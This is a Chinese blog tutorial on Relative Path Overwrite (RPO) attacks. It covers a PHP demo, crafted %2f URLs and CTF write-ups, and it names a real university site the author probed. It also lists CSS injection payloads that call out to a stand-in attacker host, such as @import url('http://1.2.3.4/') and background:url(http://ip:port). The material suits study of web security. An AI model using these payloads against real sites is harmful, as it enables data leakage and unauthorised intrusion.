zoukankan      html  css  js  c++  java
  • RPO攻击

    RPO攻击

    最近见到几个题,了解到一种攻击方式,就是有RPO攻击

    0x00概述

    浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。

    引子:
    1.在php有些框架中会有些pathinfo模式的url,就像http://localhost/index.php/home/user/login/var/value/ 如果此时页面需要加载css,同时是以一个相对路径进行加载,会出现什么问题呢?

    2.有时url例如这样http://test.com/a/b/c/d/e/f.html 的时候,如果
    我访问的是

    0x01攻击

    针对上面的问题,我简单的写了一个demon测试了一下

    php代码

    
    <?php $path='http://localhost/hello/'?>
    <a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
    <li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
    <li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
    <li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
    <link rel="stylesheet" href="./style.css" style="css" />
    <?php
    $arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
    //var_dump($arr);
    //echo $arr
    $value='';
    for($_=0;$_<count($arr);$_+=2)
    {
        $value[$arr[$_]] = $arr[$_+1];
    }
    $value['country']=isset($value['country'])?$value['country']:null;
    switch ($value['country']) {
        case 'wei':
            ?>
            <h1>welcome to 魏国!</h1>
            <?php
            break;
        case 'shu':
            ?>
    
            <h1>welcome to 蜀国!</h1>
    
            <?php
            break;
        case 'wu':
            ?>
            <h1>welcome to 吴国!</h1>
    
            <?php
            break;
    
        default:
            ?>
            <h1>welcome!</h1>
            <?php
            break;
    }
    ?>
    

    style.css文件

    h1 {
    font-size:180px;
    color:blue;
    }
    

    注意这里css文件加载是以一个相对路径加载的

    <link rel="stylesheet" href="./style.css" style="css" />

    这里传参是利用/来进行分割,发现直接打开页面是没有问题的。

    但是发现如果有传参的话,就出现问题了。

    是哪里的问题?

    在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
    http://localhost/hello/url.php/country/style.css

    在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

    0x02利用

    说到底是要实际利用的,之前的例子只是说明了,我们可以打乱他的css的路径使其不能正常显示,那么如果那个加载的css我们可以控制就好了,这里就是用了一个小技巧,下面借鉴国外的一篇文章的分析

    css文件路径为../../styles.css,URL写为
    http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    返回正确
    服务器接收到的是/tools/toolbar/buttons/apis/howto_guide.html

    浏览器接收到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html

    页面中导入的样式表 为 /tools ~~/toolbar/buttons/../../~~ style.css

    浏览器认为style.css的根目录是tools/toolbar/buttons,而不是tools/toolbar/button/apis

    所以../../style.css跳到了更高一级的目录下

    这个就比较有意思了,style.css是往上跳两级,如果我们在这两级中加个/tools/toolbar/a/..%2fbuttons/apis/howto_guide.html这样,服务器收到这里的是/tools/toolbar/ a/../ buttons/apis/howto_guide.html相当于没有加,但是浏览器依然以为/..%2f和后面的是一个路径这样的话我们就使加载的css文件是在一个我们自己构造的文件夹a中了

    这样有啥子用处呢?

    首先要了解的是,浏览器解析css文件是兼容性比较高的,他不去关注那些杂乱的字符,只要我们可以空出一行或者可以分割杂乱字符就可以了,比如asda{}body {background: url(./aaa.jpg);}asfa这样就可以正确的加载。

    其次,如果在网站里还有一处评论留言 或者搜索能使页面的部分内容是我们可以控制的话,我们可以构造css的语句,然后使加载的css文件可以跳到这里,便可以控制页面css的样式了。

    下面举一个例子,还是学校的某处网站(http://xsc.cuit.edu.cn/WebSite/Web/SearchList-Title~111.html)。

    这里的搜索的参数是直接在url的,我首先想了想如果我们搜索a/c/这样的话浏览器会不会认为这都是路径从而乱套啊,试了一下发现服务器考虑到这个问题,我输入一个/他就会多跳一级。


    (想了想这种方式还是比较脆弱的,如果我是两个连续的/浏览器并不会认为这是两级目录,但是服务器却会返回调两级的地址。)

    我们这时候还需要找一个可以插入payload的页面http://xxxx/WebSite/Web/NewsList_Wyls.html

    分析一下,我们源页面路径是/WebSite/Web/SearchList-Title~111.html,现在需要跳转到/WebSite/Web/NewsList_Wyls.html,如果把NewsList_Wyls.html当成目录的话,那只需要跳一级就可以了,最后构造的url是http://xsc.cuit.edu.cn/WebSite/Web/NewsList_Wyls.html/..%2fSearchList-Title~33s.html

    可以看到具体加载的css文件成功的转到我们需要的页面了

    可惜的是这里并没有成功渲染,我把加载的css源码拖到本地执行,是有效的,不晓得为啥子这里就不行了。但是总的攻击流程大概就是这样。

    CTF题目

    题目一

    最近有CTF就是利用的这个攻击方式的,pwnhub上的那个流程和之前类似,最后就是在user页面写{}*{backgorund: url('http://ip:port');}然后构造好url提交给bot然后等bot访问后加载css就ok了,说实话这种利用方式感觉并没有什么实际的用处。

    题目二

    在http://117.34.111.15:3000,这道题中就比较有意思了,贴一下出题人的wp

    思路相当可以,差不多就是利用未闭合的单引号来包裹源码,通过访问的url读取源码。

    这里有些坑感觉,由于对css语法并不是很了解,有空了在研究研究看看。

    常见的可以加载加载远程文件的方法

    {} @import url('http://1.2.3.4/');
    或者加载背景
    {}body {background: url(http://ip:port);}

    之前看到可以通过这种css的方式加载图片background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);

    我想是不是可以尝试加载js代码?
    类似于data类型的地址有如下:

    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
    

    还有这样javascript:alert('xss');
    发现这样并不会解析。

    留着以后发现新姿势在利用吧。

  • 相关阅读:
    poj 1088 滑雪
    位运算与bitset
    hdu 4607 Park Visit
    树的直径
    codeforces 495D Sonya and Matrix
    German Collegiate Programming Contest 2015(第三场)
    BAPC 2014 Preliminary(第一场)
    Benelux Algorithm Programming Contest 2014 Final(第二场)
    E. Reachability from the Capital(tarjan+dfs)
    poj2104 K-th Number(划分树)
  • 原文地址:https://www.cnblogs.com/p00mj/p/6755000.html
Copyright © 2011-2022 走看看